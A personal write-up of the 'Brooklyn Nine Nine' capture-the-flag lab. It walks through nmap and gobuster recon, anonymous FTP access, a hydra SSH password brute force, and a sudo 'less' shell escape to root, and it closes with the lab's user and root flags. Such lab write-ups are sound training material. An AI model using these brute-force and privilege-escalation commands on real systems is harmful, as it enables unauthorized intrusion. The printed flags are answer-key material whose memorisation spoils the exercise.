jon's l33t writeups

Brooklyn Nine Nine CTF

by jon
completed on 03/15/2022

Target Information

I was given the IP Address 10.10.246.5 and the following questions to answer:

1. What's the user flag?
2. What's the root flag?

Recon Phase

I started by enumerating the target with NMAP, enum4linux, and gobuster. NMAP is an open-source network enumeration tool used for scanning ports. Enum4linux is an open-source tool used to enumerate information about a host Linux computer including potential users, the Linux distribution, versions, etc. Finally, Gobuster is an open-source directory bruteforce tool that enumerates directories on a webserver. All of these tools were used to gather information on the target in this CTF. Below are the commands and the results with important information highlighted:

```
root@ip-10-10-2-161:~/Desktop/b99# nmap -sC -sV 10.10.246.5
```

```
root@ip-10-10-2-161:~/Desktop/b99# enum4linux -a 10.10.246.5
```

```
root@ip-10-10-2-161:~/Desktop/b99# gobuster dir -u http://10.10.246.5/ -x php,html,txt -q -t 15 -w /usr/share/wordlists/dirb/common.txt
```

```
Nmap scan report for ip-10-10-246-5.eu-west-1.compute.internal (10.10.246.5)
Host is up (0.0014s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0             119 May 17  2020 note_to_jake.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.2.161
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 5
```

```
|     vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 16:7f:2f:fe:0f:ba:98:77:7d:6d:3e:b6:25:72:c6:a3 (RSA)
|   256 2e:3b:61:59:4b:c4:29:b5:e8:58:39:6f:6f:e9:9b:ee (ECDSA)
|_  256 ab:16:2e:79:20:3c:9b:0a:01:9c:8c:44:26:01:58:04 (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 02:CD:82:B9:19:37 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

==========================
|    Target Information    |
 ==========================
Target ..... 10.10.246.5
RID Range ..... 500-550,1000-1050
Username ..... ''
Password ..... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.txt (Status: 403)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
```

The scans returned some interesting information, but the only vector for initial access is the File Transfer Protocol (FTP) server that allows anonymous logins. Note to IT professionals: do not allow anonymous logins!

```
root@ip-10-10-2-161:~/Desktop/b99# ftp 10.10.246.5
Connected to 10.10.246.5.
220 (vsFTPd 3.0.3)
Name (10.10.246.5:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

The FTP allowed file transfer of "note_to_jake.txt" which was a note that told "Jake" to change his password. This note also included a potential username <jake> in addition to two other names "amy" and "holt". Given that Jake has an insecure password, it seems like bruteforcing our way into Jake's account is the way to go.

Exploitation Phase

The HYDRA tool is a tool that bruteforces any protocols including SSH which, according to our NMAP scan, is open on this target. Below is the command in HYDRA and the results:

```
root@kali:~/Desktop/b99# hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.10.246.5 -f -VV -t 4
```

```
[22][ssh] host: 10.10.246.5   login: jake   password: 987654321
[STATUS] attack finished for 10.10.246.5 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
```

Success! The credentials for SSH are above and we can use this to SSH into the server.

```
root@kali:~/Desktop/b99# ssh jake@10.10.246.5
The authenticity of host '10.10.246.5 (10.10.246.5)' can't be established.
ECDSA key fingerprint is SHA256:Ofp49Dp4VBPb3v/vGM9jYfTRiwpg2v28×1uGhvoJ7K4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.246.5' (ECDSA) to the list of known hosts.
jake@10.10.246.5's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$
```

We are in as @jake!

Privilege Escalation

I logged in as Jake using the credentials gathered by HYDRA. I looked around the machine and found the user.txt flag in the /home/holt directory:

```
jake@brookly_nine_nine:/home/holt$ cat user.txt
ee11cbb19052e40b07aac0ca060c23ee
```

Jake has limited access to this server, so we need to escalate our privileges. I manually enumerated this box while simultaneously running an automated script called LINPEAS. Both the manual enumeration and the script returned the method for escalating our privileges:

```
jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
    (ALL) NOPASSWD: /usr/bin/less
```

```
-rwsr-xr-x 1 root root 167K Dec  1  2017 /bin/less
```

Jake has root privileges on the directory /bin/less. I went to GTFOBINS and pulled the script to get a root shell:

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo less /etc/profile
!/bin/sh
```

I ran the script and got a root shell! I then immediately moved to the /root directory and found the root flag:

```
jake@brookly_nine_nine:/home/holt$ sudo less /etc/profile
# whoami
root
# 
```

```
# cat root.txt
-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: 63a9f0ea7bb98050796b649e85481845

Enjoy!!
```

Now that we found root.txt in the root folder, let's answer those questions.

Questions

1. What's the user flag?
    a. ee11cbb19052e40b07aac0ca060c23ee
2. What's the root flag?
    a. 63a9f0ea7bb98050796b649e85481845